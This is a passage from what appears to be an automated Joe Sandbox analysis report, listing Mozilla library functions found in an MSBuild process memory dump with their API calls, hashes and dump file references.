Opcode Fuzzy Hash: c502867fb7d37b5b28d1a6dd9726f2253e3ee9d86c8063c0547c05ce5e284ef5
Instruction Fuzzy Hash: 28312471D1478897EB008B78DC019BEF778EF96208F449229ED499B212FB34EA85C390

Function 6BCB3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6BCB3CCC), ref: 6BCB3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6BCB3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6BCB3CCC), ref: 6BCB4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6BCB40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6BCB3CCC), ref: 6BCB40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6BCB3CCC), ref: 6BCB40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6BCB4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6BCB3CCC), ref: 6BCB4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6BCB3CCC), ref: 6BCB4157

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 313f8e54d793d1b59434f71f9b8a7e85230e59d5693ca2800b8fb3029cb730ef
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 3DA1AFB1A54215CFDB50CF68C88065AB7F5FF88314F2540A9D909AF342E775EA82CFA0

Function 6BCA2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6BCC3F47,?,?,?,6BCC3F47,6BCC1A70,?), ref: 6BCA207F
memset.VCRUNTIME140(?,000000E5,6BCC3F47,?,6BCC3F47,6BCC1A70,?), ref: 6BCA20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6BCC3F47,6BCC1A70,?), ref: 6BCA211A
EnterCriticalSection.KERNEL32(6BD2E744,?,6BCC3F47,6BCC1A70,?), ref: 6BCA2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6BCC3F47,6BCC1A70,?), ref: 6BCA21BA
EnterCriticalSection.KERNEL32(6BD2E744,?,6BCC3F47,6BCC1A70,?), ref: 6BCA21E0
LeaveCriticalSection.KERNEL32(6BD2E744,?,6BCC3F47,6BCC1A70,?), ref: 6BCA2232

Strings

MOZ_CRASH(), xrefs: 6BCA227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6BCA2253, 6BCA2268

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 06452979d3c2e287b2f8d3329d70acf6be8b05e75a9b4c91c404a0235e2b9a84
Instruction ID: 16692c29552c5b0f4a56588de59410ef6d352a45e5e378b913cd114627af5e54
Opcode Fuzzy Hash: 06452979d3c2e287b2f8d3329d70acf6be8b05e75a9b4c91c404a0235e2b9a84
Instruction Fuzzy Hash: 3C61C631E112268FDB04CFBAC9A576EB7B1AF45324F154275E624AF284E7789E00C791

Function 6BCA48E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6BCE483A,?), ref: 6BCA4ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6BCE483A,?), ref: 6BCA4AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6BCE483A,?), ref: 6BCA4A82

Part of subcall function 6BCBCA10: mozalloc_abort.MOZGLUE(?), ref: 6BCBCAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6BCE483A,?), ref: 6BCA4A97
moz_xmalloc.MOZGLUE(15D4E801,?,6BCE483A,?), ref: 6BCA4A35

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6BCE483A,?), ref: 6BCA4A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6BCE483A,?), ref: 6BCA4AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6BCE483A,?), ref: 6BCA4B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6BCE483A,?), ref: 6BCA4B2C

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 34bba1c7dd45ba5d422d0c4bac46aa58faaaca672c1ba934aeb8061f372ddd59
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: A1716AB1A10B069FC754CF79C4819AAB7F9FF09308B10463ED15A9B641FB35EA55CB80

Function 6BCFDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6BCFDDCF

Part of subcall function 6BCDFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BCDFA4B

Part of subcall function 6BCF90E0: free.MOZGLUE(?,00000000,?,?,6BCFDEDB), ref: 6BCF90FF
Part of subcall function 6BCF90E0: free.MOZGLUE(?,00000000,?,?,6BCFDEDB), ref: 6BCF9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCFDE0D
free.MOZGLUE(00000000), ref: 6BCFDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCFDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCFDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCFDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6BCEDEFD,?,6BCB4A68), ref: 6BCFDF32

Part of subcall function 6BCFDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6BCFDB86
Part of subcall function 6BCFDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6BCFDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6BCEDEFD,?,6BCB4A68), ref: 6BCFDF65
free.MOZGLUE(?), ref: 6BCFDF80

Part of subcall function 6BCC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6BCC5EDB
Part of subcall function 6BCC5E90: memset.VCRUNTIME140(6BD07765,000000E5,55CCCCCC), ref: 6BCC5F27
Part of subcall function 6BCC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6BCC5FB2

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: dbe459a08bded03f11c952f7a1b53d5939fc0c7e25ece4e50b011a5bc1393d15
Instruction ID: 06ede6ef736056f896c3b38265ec405889548cfe3c7b8579cc1a4300696e2d96
Opcode Fuzzy Hash: dbe459a08bded03f11c952f7a1b53d5939fc0c7e25ece4e50b011a5bc1393d15
Instruction Fuzzy Hash: 0C51C472A616019BD7508B28C8806AFB37BBF91704F8501ADD91A57300FB39FA17CB92

Function 6BCFAB90 Relevance: 13.6, APIs: 9, Instructions: 135threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BCFABB4
AcquireSRWLockExclusive.KERNEL32(6BCB4A63), ref: 6BCFABC0
ReleaseSRWLockExclusive.KERNEL32 ref: 6BCFAC06
GetCurrentThreadId.KERNEL32 ref: 6BCFAC16
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BCFAC27
ReleaseSRWLockExclusive.KERNEL32 ref: 6BCFAC66
free.MOZGLUE(?), ref: 6BCFAD19
free.MOZGLUE(00000000), ref: 6BCFAD2B
?_Xbad_function_call@std@@YAXXZ.MSVCP140(00000000), ref: 6BCFAD38

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree$Xbad_function_call@std@@
String ID:
API String ID: 2167474191-0
Opcode ID: 4d10a9d7edf8614d123774321b662295a8988f164bd5407792245836f7f472b4
Instruction ID: 0eaa7ff197ab83674b3f853f51ba48e1c74571cba4e18f70988fc0a820f9cc7f
Opcode Fuzzy Hash: 4d10a9d7edf8614d123774321b662295a8988f164bd5407792245836f7f472b4
Instruction Fuzzy Hash: D6517574610B008FD720CF25C488756FBF9BF89314F204A6DE9AA87790EB75B945CB41

Function 6BCFCB30 Relevance: 13.6, APIs: 9, Instructions: 129COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PBDHH@Z.MSVCP140(00000000,00000002,00000040,?,?,6BCFBCAE,?,?,6BCEDC2C), ref: 6BCFCB52
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,?,6BCFBCAE,?,?,6BCEDC2C), ref: 6BCFCB82
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,?,6BCFBCAE,?,?,6BCEDC2C), ref: 6BCFCB8D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,6BCFBCAE,?,?,6BCEDC2C), ref: 6BCFCBA4
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,?,6BCFBCAE,?,?,6BCEDC2C), ref: 6BCFCBC4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,?,6BCFBCAE,?,?,6BCEDC2C), ref: 6BCFCBE9
std::_Facet_Register.LIBCPMT ref: 6BCFCBFB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,?,6BCFBCAE,?,?,6BCEDC2C), ref: 6BCFCC20
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,6BCFBCAE,?,?,6BCEDC2C), ref: 6BCFCC65

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 7cce2e9000740db45b6d9c06d0ef2378b70281a945315c3267563140b036a3f8
Instruction ID: 8659fcbd8a641e5dd1b6c06ad461cffbee925ab010474d5583f25697c0586bfc
Opcode Fuzzy Hash: 7cce2e9000740db45b6d9c06d0ef2378b70281a945315c3267563140b036a3f8
Instruction Fuzzy Hash: 9841B734B102048FDB00DF65C895AAEB7B9FF49354F0440A9DA0A9B391EB79ED46CF91

Function 6BCABAE0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 183COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6BCABC03
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6BCABD06

Strings

y, xrefs: 6BCABC4E
0, xrefs: 6BCABC74
0, xrefs: 6BCABBCD

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0$0$y
API String ID: 2811501404-3020536412
Opcode ID: da642787b5b1004f4bc41c45c1c1a52701dcfcc6ea1c97b5813e679227fcd8e6
Instruction ID: 373bdd4d1b3dc04576e5e119cb9e86ec498d932129dd09f3977e5c30097e435c
Opcode Fuzzy Hash: da642787b5b1004f4bc41c45c1c1a52701dcfcc6ea1c97b5813e679227fcd8e6
Instruction Fuzzy Hash: E961E471A2874A8FC700CF38D581A5BB7E5FF8A348F00466DF88997241EB38DA45C792

Function 6BCB0A60 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000000C,?,6BD0B80C,00000000,?,?,6BCB003B,?), ref: 6BCB0A72

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

moz_xmalloc.MOZGLUE(?,?,6BD0B80C,00000000,?,?,6BCB003B,?), ref: 6BCB0AF5
free.MOZGLUE(00000000,?,?,6BD0B80C,00000000,?,?,6BCB003B,?), ref: 6BCB0B9F
free.MOZGLUE(?,?,?,6BD0B80C,00000000,?,?,6BCB003B,?), ref: 6BCB0BDB
free.MOZGLUE(00000000,?,?,6BD0B80C,00000000,?,?,6BCB003B,?), ref: 6BCB0BED
mozalloc_abort.MOZGLUE(alloc overflow,?,6BD0B80C,00000000,?,?,6BCB003B,?), ref: 6BCB0C0A

Strings

alloc overflow, xrefs: 6BCB0C05

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: free$moz_xmalloc$mallocmozalloc_abort
String ID: alloc overflow
API String ID: 1471638834-749304246
Opcode ID: 0aea0b0c6585afd6c2dc1283cff4493c91226410ecf77e16afabdecb748160fb
Instruction ID: fbe932901288ebc522be81de7610acc9ffe5c565c781865c17f7bc0d1dcc196d
Opcode Fuzzy Hash: 0aea0b0c6585afd6c2dc1283cff4493c91226410ecf77e16afabdecb748160fb
Instruction Fuzzy Hash: 3D51B1B1A102068FDB24CF68C9C1BAEB3B6FF44308F14496DC85A9B201FB75E645CB61

Function 6BCA78C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6BD2008B), ref: 6BCA7B89
free.MOZGLUE(?,6BD2008B), ref: 6BCA7BAC

Part of subcall function 6BCA78C0: free.MOZGLUE(?,6BD2008B), ref: 6BCA7BCF

free.MOZGLUE(?,6BD2008B), ref: 6BCA7BF2

Part of subcall function 6BCC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6BCC5EDB
Part of subcall function 6BCC5E90: memset.VCRUNTIME140(6BD07765,000000E5,55CCCCCC), ref: 6BCC5F27
Part of subcall function 6BCC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6BCC5FB2

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 40f21169a0f8103bd5b8f916fff34537eebf3a78f90758d5f803061c7e175c5f
Instruction ID: d9926dad61b1a14fa65c441aab2cf2f9a98f11cc9195ef4d81e8f7f79b57384b
Opcode Fuzzy Hash: 40f21169a0f8103bd5b8f916fff34537eebf3a78f90758d5f803061c7e175c5f
Instruction Fuzzy Hash: 41C1D271E1112A8BEB248B68CC90BDDB732BF41314F1002EAD51AAB3C5E7399F859F51

Function 6BCF1220 Relevance: 12.2, APIs: 8, Instructions: 173threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BCF124B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BCF1268
GetCurrentThreadId.KERNEL32 ref: 6BCF12DA
InitializeConditionVariable.KERNEL32(?), ref: 6BCF134A
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6BCF138A
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6BCF1431

Part of subcall function 6BCE8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6BD01563), ref: 6BCE8BD5

free.MOZGLUE(?), ref: 6BCF145A
free.MOZGLUE(?), ref: 6BCF146C

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 8d224fa2a638564eac27da14242877a28594dccd23198ed8ec7c4d3217f0794f
Instruction ID: 31b774725cd6e411221f75ded724198b19ed9ceef8b79a3c1fb8a5105c7aa443
Opcode Fuzzy Hash: 8d224fa2a638564eac27da14242877a28594dccd23198ed8ec7c4d3217f0794f
Instruction Fuzzy Hash: 1C61E2B59143409FDB10CF38C880B9AB7F9BFC5308F00899DE9894B211EB79E646CB52

Function 6BCF0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BCF0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BCF0F88
GetCurrentThreadId.KERNEL32 ref: 6BCF0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6BCF1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6BCF10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6BCF114B

Part of subcall function 6BCE8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6BD01563), ref: 6BCE8BD5

free.MOZGLUE(?), ref: 6BCF1174
free.MOZGLUE(?), ref: 6BCF1186

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: dd588a7bed6fff9208c8f3d141e7d144ea027f96dbcfb7c657c3b22be2922fad
Instruction ID: c1a2e119ecf11a442dab2294b7855744396ac2785d38c8fd652887f80a2f2a1a
Opcode Fuzzy Hash: dd588a7bed6fff9208c8f3d141e7d144ea027f96dbcfb7c657c3b22be2922fad
Instruction Fuzzy Hash: E961D0759143459BDB50CF38C881B9AB7FABFC5308F00899DE9894B211EB79E646CB42

Function 6BCA4B50 Relevance: 12.2, APIs: 8, Instructions: 164COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6BCA4667,?,?,?,?,?,?,?,?,6BCE4843,?), ref: 6BCA4C63
free.MOZGLUE(?,?,?,6BCA4667,?,?,?,?,?,?,?,?,6BCE4843,?), ref: 6BCA4C89
free.MOZGLUE(?,?,?,6BCA4667,?,?,?,?,?,?,?,?,6BCE4843,?), ref: 6BCA4CAC
free.MOZGLUE(?,?,?,?,?,?,?,6BCE4843,?), ref: 6BCA4CCF
free.MOZGLUE(?,?,?,?,?,?,?,?,6BCE4843,?), ref: 6BCA4CF2
free.MOZGLUE(?,?,?,?,?,?,?,?,6BCE4843,?), ref: 6BCA4D15
free.MOZGLUE(?,?,?,?,?,?,?,?,6BCE4843,?), ref: 6BCA4D38
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6BCA4667,?,?,?,?,?,?,?,?,6BCE4843,?), ref: 6BCA4DD1

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1497960986-0
Opcode ID: 9dc277bc14ba59e1bbebdb673eca57c0ca6d1335e93fa194cb573e9b9a35fb48
Instruction ID: 113ed370d0b397c6f6cb18779ac7ca0a366539c0ebc17e2fafab28b270cad5c2
Opcode Fuzzy Hash: 9dc277bc14ba59e1bbebdb673eca57c0ca6d1335e93fa194cb573e9b9a35fb48
Instruction Fuzzy Hash: 1751A671925A418FE3248B7DD9A475677A2BF01728F400A1CE1ABCBBD1FB39A6448702

Function 6BCAE9C0 Relevance: 12.1, APIs: 8, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,6BCB1999), ref: 6BCAEA39
memcpy.VCRUNTIME140(?,?,7FFFFFFE), ref: 6BCAEA5C
memset.VCRUNTIME140(7FFFFFFE,00000000,?), ref: 6BCAEA76
moz_xmalloc.MOZGLUE(-00000001,?,?,6BCB1999), ref: 6BCAEA9D
memcpy.VCRUNTIME140(?,7FFFFFFE,?,?,?,6BCB1999), ref: 6BCAEAC2
memset.VCRUNTIME140(?,00000000,00000000,?,?,?,?), ref: 6BCAEADC
free.MOZGLUE(7FFFFFFE,?,?,?,?), ref: 6BCAEB0B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?), ref: 6BCAEB27

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

